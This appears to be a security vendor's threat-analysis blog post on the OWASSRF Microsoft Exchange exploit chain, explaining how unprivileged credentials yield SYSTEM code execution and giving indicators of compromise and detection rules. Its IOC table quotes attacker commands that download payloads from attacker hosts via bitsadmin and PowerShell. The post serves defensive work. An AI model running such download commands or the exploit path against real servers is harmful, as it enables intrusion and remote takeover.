OWASSRF Explained: Analyzing the Microsoft Exchange RCE Vulnerability

We simply couldn’t end the year 2022 on a calm note—hackers made sure of that with their latest Microsoft Exchange exploit. 

On December 22, Huntress observed a significant increase in malicious PowerShell executions delivering a ConnectWise Control (ScreenConnect) payload on unpatched Exchange hosts using the exploit chain consisting of CVE-2022-41080 and CVE-2022-41082. This exploit chain was coined “OWASSRF” by Crowdstrike, as it involves an Outlook Web Access server-side request forgery. The exploit chain relates to ProxyNotShell, but it bypasses the mitigation guidance Microsoft provided in September prior to releasing their patch.

Keep reading for our analysis of how the OWASSRF exploit works, how it achieves remote code execution and what you should know to stay protected. 

How OWASSRF Works

To unpack how this exploit works, Huntress Security Researchers started by setting up a fresh Active Directory domain and Exchange server using Windows Server 2019 Evaluation Edition. We created an unprivileged user account residing only in the Domain Users security group with a new Exchange mailbox. Exchange 2019 CU2 (15.2.397.3) was used for testing. 

The video below demonstrates using the leaked proof-of-concept (POC) code obtained by Huntress analysts, along with Metasploit, to gain code execution as NT AUTHORITY\SYSTEM on the unpatched Exchange server.

{% video_player "embed_player" overrideable=False, type='hsvideo2', hide_playlist=True, viral_sharing=False, embed_button=False, autoplay=False, hidden_controls=False, loop=False, muted=False, full_width=False, width='1920', height='1080', player_id='96828475505', style='' %}

The POC exploit first authenticates with valid user credentials to Outlook Web Access (OWA). These credentials do not need to be administrative, and must simply be capable of authenticating to OWA. 

After authentication, the POC script communicates with the /owa/mastermailbox%40outlook.com/powershell endpoint via the PowerShell Remoting protocol implemented by the pypsrp Python package. The script sets up a local proxy, which forwards WSMan connections on localhost to the Exchange server via the authenticated HTTP session. The resulting proxy allows the attacker to execute arbitrary PowerShell code on the Exchange server as NT AUTHORITY\SYSTEM with only the credentials of an unprivileged user.

It’s important to note that while we have not seen Metasploit being used in the wild, we showcased it in this example because it’s a commonly available framework that’s both flexible and easily captured in video format. The goal of our video is to demonstrate the initial access vector. The code execution gained from abusing this exploit could be used to deploy any number of tactics. For example, in the section below, we highlight an attacker’s use of the legitimate ScreenConnect remote access tool.

Exploit Details and Analysis

Starting on December 6, Huntress identified several systems across different customers that had ScreenConnect installed with the same instance ID (i.e., “6db95d58cdf0a1a3”). In one instance, the same system was observed with the rogue ScreenConnect instance ID installed on December 6 (method unknown), and then again on December 22 using the OWASSRF exploit.

On December 14, Huntress began investigating an intrusion that used ProxyNotShell for initial access, and then used the native Windows utility bitsadmin.exe to download and install a rogue ScreenConnect instance, as illustrated in a tweet from Huntress ThreatOps Manager, Dray Agha.

179.60.149.28
- Initial access #ProxyNotShell
- Bitsadmin to download tooling (http://179.60.149.28:4427/).
- Installed Screen Connect, ID: b81d2f07c9163bf5, URL: instance-cmjrni-relay.screenconnect[.]com
- Deployed Mimikatz

Crawled and saved their tools, you can access... pic.twitter.com/8vA3LNtpul

— Dray Agha (@Purp1eW0lf) December 14, 2022

On December 22, Huntress analysts observed mass ProxyNotShell exploitation across our customer base, and spun up a “war room” to investigate and address the issue. The following day, our analysts leveraged alerts from Managed Antivirus (i.e., Windows Defender) to identify neutralized attempts to deploy the ProxyNotShell variant.

Indicators of Compromise

The table below illustrates the exploit and post-exploit indicators of compromise (IOCs) Huntress has observed through available telemetry and analysis.

Type

Indicator

Notes / sha256 Hash

Exploit

“/owa/mastermailbox@outlook.com/powershell” with response code 200

IIS web server logs contain the referenced POST events with a 200 (Success) response code

Post-Exploit #1a

bitsadmin /transfer JobName /download /priority FOREGROUND http://179.60.149[.]28:4427/22.exe C:\1.exe

Bitsadmin command to download and install rogue ScreenConnect instance 

Post-Exploit #1b

powershell -nop -c Invoke-Expression (New-Object Net.WebClient).DownloadFile.Invoke(‘https://autodiscover.hofduncan[.]org/owa/auth/Current/themes/6.css’ ‘c:\windows\temp\c.msi’) 

Base64-encoded Powershell running as a child process of the web server (w3wp.exe) 

Post-Exploit #2

System Event Log Source: Service Control Manager

System Event Log ID: “7045”

Look for ScreenConnect service installation in System Event Log. 

Post-Exploit IOC

179.60.149[.]28

IP address for post-exploit download via bitsadmin

Post-Exploit IOC

155.138.240[.]251, 66.42.116[.]130

IP address for post-exploit ScreenConnect C2

Post-Exploit IOC

autodiscover.hofduncan[.]org

mail.stannparish[.]org

Domain for post-exploit ScreenConnect download via base64-encoded Powershell

Post-Exploit IOC

ScreenConnect instance IDs: b81d2f07c9163bf5, 

dc2f2d1c0840229c, 6db95d58cdf0a1a3

Huntress observed three ScreenConnect instance IDs associated with rogue installs across multiple systems

While Huntress has observed post-exploitation activity on a number of systems since December 6, several of those systems were found to have Windows Defender disabled. In at least one instance where Windows Defender was enabled and updated, the initial exploit was detected alternately as “Exploit:Script/ExchgProxyRequest.A!gen” and “Trojan:Win32/IISExchgSpawnCMD.A” and was quarantined. 

Figure 1 illustrates an event ID 1117 record for the “Trojan:Win32/IISExchgSpawnCMD.A” detection, found in the Microsoft-Windows-Windows Defender%4Operational Event Log.

Figure 1: Example Windows Defender Event Log event ID 1117 record

The Windows Defender detection event illustrated above is one of many that occurred on that system. Other detections included attempts to use native Windows utilities rundll32.exe and msiexec.exe to install what appears to have been a rogue ScreenConnect instance. Following these detections, no other post-exploit activity was observed. In this instance, Huntress observed multiple exploit attempts spanning two weeks, all of which were detected and quarantined by Windows Defender.

Detection Rules

Huntress has several rules in place that detect post-exploitation activity associated with the observed OWASSRF exploit chain. 

For example, the Sigma rule in Figure 2 locates any PowerShell process running as a child process of the IIS web server process (w3wp.exe), regardless of the PowerShell command line. 

Figure 2: Sigma rule to detect PowerShell being spawned via IIS web server

From the detection event, analysts can check for base64 encoding of the command line, as shown in Figure 3.

Figure 3: Example of OWASSRF execution found using the above detection

While Figure 3 illustrates the command line observed as a result of running the proof-of-concept code against a test system, it serves solely as an example and was not observed in Huntress telemetry. Palo Alto’s Unit42 has reported that attackers using the OWASSRF vulnerability commonly use the PowerShell reverse shell payload named SilverArrow for post-exploitation as seen in Figure 4.

Figure 4: Example of SilverArrow payload

Huntress has developed a Sigma rule capable of detecting SilverArrow and similar malicious PowerShell behavior. The rule, illustrated in Figure 5, detects the use of raw TCP sockets in PowerShell command lines as indicators of potentially malicious activity.

Figure 5: Sigma rule to detect PowerShell reverse shell activity

The Sigma rules listed in Figures 2 and 5 are available at the Huntress Threat Intel Github repository. Going forward, Huntress will be providing threat intelligence content (detections, Sigma or Yara rules, IOCs, etc.) through this repository to supplement other public content.

Takeaway and Recommendations

Threat actors are known to change their tactics, and they use new or novel means to compromise organizations. This is why visibility and detection and response are critical factors when it comes to inhibiting or even obviating attacks. 

While threat actors moved to using “new” methods (i.e., OWASSRF) to gain access to organizations via MS Exchange servers, their post-exploit activities were visible and familiar to our analysts, allowing Huntress to detect, respond and recommend remediations to customers before further harm could take place. For example, other public reporting indicates that while Huntress and others were detecting, obviating and investigating these attacks, other more successful attacks were leading to Play ransomware being deployed. This demonstrates the incredible value of having a dedicated team of detection engineers, analysts and investigators on the lookout for your business.

Also, if you haven’t patched your on-prem Exchange host on or after November 8, then do so ASAP.